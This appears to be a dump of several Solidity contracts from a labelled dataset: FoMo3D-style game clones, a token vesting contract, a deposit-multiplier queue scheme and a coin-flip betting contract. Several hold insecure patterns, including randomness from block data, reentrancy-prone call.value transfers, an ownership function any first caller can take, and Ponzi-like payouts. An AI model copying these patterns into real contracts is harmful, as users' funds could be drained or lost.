returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot.mul(20)) / 100;
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin1.transfer(_com.sub(_com / 2));
admin2.transfer(_com / 2);
round_[_rID].pot = _pot.add(_p3d);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d = 0;
if (!address(admin1).call.value(_com.sub(_com / 2))())
{
_p3d = _p3d.add(_com.sub(_com / 2));
}
if (!address(admin2).call.value(_com / 2)())
{
_p3d = _p3d.add(_com / 2);
}
_com = _com.sub(_p3d);
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _p3d.add(_aff);
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
round_[_rID].pot = round_[_rID].pot.add(_p3d);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require((msg.sender == admin1 || msg.sender == admin2), "only admin can activate");
require(activated_ == false, "already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 918 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint a, uint b) internal pure returns(uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns(uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns(uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns(uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns(uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address who) public constant returns(uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns(uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
contract VT201811002 {
using SafeMath for uint256;
event Released(uint256 amounts);
event InvalidCaller(address caller);
address public owner;
address[] private _beneficiary ;
uint256 private _locktime;
uint256 private _unlocktime;
uint256[] private _amount;
constructor() public
{
owner = msg.sender;
_unlocktime =0;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function beneficiary() public view returns(address[]) {
return _beneficiary;
}
function unlocktime() public view returns(uint256) {
return _unlocktime;
}
function locktime() public view returns(uint256) {
return _locktime;
}
function amount() public view returns(uint256[]) {
return _amount;
}
function setLockTime(uint256 locktimeParam,uint256 unlocktimeParam) public onlyOwner{
_unlocktime = unlocktimeParam;
_locktime = locktimeParam;
}
function setUserInfo(address[] beneficiaryParam,uint256[] amountParam) public onlyOwner{
if( block.timestamp <=_locktime){
_beneficiary = beneficiaryParam;
_amount = amountParam;
}
}
function release(ERC20 token) public {
for(uint i = 0; i < _beneficiary.length; i++) {
if(block.timestamp >= _unlocktime ){
token.transfer(_beneficiary[i], _amount[i].mul(10**18));
emit Released( _amount[i]);
_amount[i]=0;
}
}
}
function checkRelease(ERC20 token) public {
uint _unRelease = 0;
for(uint i = 0; i < _amount.length; i++) {
_unRelease = _unRelease.add(_amount[i]);
}
if(_unRelease==0 && block.timestamp >= _unlocktime ){
token.transfer(owner,token.balanceOf(this));
}
}
} | 0 | 1,646 |
pragma solidity ^0.4.25;
contract Restarter {
uint constant public FIRST_START_TIMESTAMP = 1541008800;
uint constant public RESTART_INTERVAL = 24 hours;
address constant private ADS_SUPPORT = 0x79C188C8d8c7dEc9110c340140F46bE10854E754;
address constant private TECH_SUPPORT = 0x988f1a2fb17414c95f45E2DAaaA40509F5C9088c;
uint constant public ADS_PERCENT = 2;
uint constant public TECH_PERCENT = 1;
uint constant public JACKPOT_PERCENT = 3;
uint constant public JACKPOT_WINNER_PERCENT = 25;
uint constant public MULTIPLIER = 121;
uint constant public MAX_LIMIT = 1 ether;
uint constant public MIN_LIMIT = 0.01 ether;
uint constant public MINIMAL_GAS_LIMIT = 250000;
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
event Restart(uint timestamp);
Deposit[] private _queue;
uint public currentReceiverIndex = 0;
uint public jackpotAmount = 0;
uint public lastStartTimestamp;
uint public queueCurrentLength = 0;
constructor() public {
lastStartTimestamp = FIRST_START_TIMESTAMP;
}
function () public payable {
require(now >= FIRST_START_TIMESTAMP, "Not started yet!");
require(gasleft() >= MINIMAL_GAS_LIMIT, "We require more gas!");
require(msg.value <= MAX_LIMIT, "Deposit is too big!");
require(msg.value >= MIN_LIMIT, "Deposit is too small!");
if (now >= lastStartTimestamp + RESTART_INTERVAL) {
lastStartTimestamp += (now - lastStartTimestamp) / RESTART_INTERVAL * RESTART_INTERVAL;
_payoutJackpot();
_clearQueue();
emit Restart(now);
}
_insertQueue(Deposit(msg.sender, uint128(msg.value), uint128(msg.value * MULTIPLIER / 100)));
jackpotAmount += msg.value * JACKPOT_PERCENT / 100;
uint ads = msg.value * ADS_PERCENT / 100;
ADS_SUPPORT.transfer(ads);
uint tech = msg.value * TECH_PERCENT / 100;
TECH_SUPPORT.transfer(tech);
_pay();
}
function _pay() private {
uint128 money = uint128(address(this).balance) - uint128(jackpotAmount);
for (uint i = 0; i < queueCurrentLength; i++) {
uint idx = currentReceiverIndex + i;
Deposit storage dep = _queue[idx];
if(money >= dep.expect) {
dep.depositor.transfer(dep.expect);
money -= dep.expect;
} else {
dep.depositor.transfer(money);
dep.expect -= money;
break;
}
if (gasleft() <= 50000) {
break;
}
}
currentReceiverIndex += i;
}
function _payoutJackpot() private {
uint128 money = uint128(jackpotAmount);
Deposit storage dep = _queue[queueCurrentLength - 1];
dep.depositor.transfer(uint128(jackpotAmount * JACKPOT_WINNER_PERCENT / 100));
money -= uint128(jackpotAmount * JACKPOT_WINNER_PERCENT / 100);
for (uint i = queueCurrentLength - 2; i < queueCurrentLength && i >= currentReceiverIndex; i--) {
dep = _queue[i];
if(money >= dep.expect) {
dep.depositor.transfer(dep.expect);
money -= dep.expect;
} else if (money > 0) {
dep.depositor.transfer(money);
dep.expect -= money;
money = 0;
} else {
break;
}
}
jackpotAmount = 0;
currentReceiverIndex = 0;
}
function _insertQueue(Deposit deposit) private {
if (queueCurrentLength == _queue.length) {
_queue.length += 1;
}
_queue[queueCurrentLength++] = deposit;
}
function _clearQueue() private {
queueCurrentLength = 0;
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = _queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i < queueCurrentLength; ++i){
if(_queue[i].depositor == depositor)
c++;
}
return c;
}
function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i = currentReceiverIndex; i < queueCurrentLength; ++i){
Deposit storage dep = _queue[i];
if(dep.depositor == depositor){
idxs[j] = i;
deposits[j] = dep.deposit;
expects[j] = dep.expect;
j++;
}
}
}
}
function getQueueLength() public view returns (uint) {
return queueCurrentLength - currentReceiverIndex;
}
} | 0 | 1,026 |
pragma solidity ^0.4.24;
contract EthereumBet{
address gameOwner = address(0);
bool locked = false;
function bet() payable
{
if ((random()%2==1) && (msg.value == 1 ether) && (!locked))
{
if (!msg.sender.call.value(2 ether)())
throw;
}
}
function lock()
{
if (gameOwner==msg.sender)
{
locked = true;
}
}
function unlock()
{
if (gameOwner==msg.sender)
{
locked = false;
}
}
function own(address owner)
{
if ((gameOwner == address(0)) || (gameOwner == msg.sender))
{
gameOwner = owner;
}
}
function releaseFunds(uint amount)
{
if (gameOwner==msg.sender)
{
if (!msg.sender.call.value( amount * (1 ether))())
throw;
}
}
function random() view returns (uint8) {
return uint8(uint256(keccak256(block.timestamp, block.difficulty))%256);
}
function () public payable
{
bet();
}
} | 0 | 1,030 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularThunder is F3Devents {}
contract FoMo3Dthunder is modularThunder {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x360D5678899AF3dfadF6192280364847ACdC451e);
address private admin = msg.sender;
string constant public name = "FOMO Thunder";
string constant public symbol = "THUNDER";
uint256 private rndExtra_ = 30 minutes;
uint256 private rndGap_ = 30 minutes;
uint256 constant private rndInit_ = 30 minutes;
uint256 constant private rndInc_ = 10 seconds;
uint256 constant private rndMax_ = 1 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
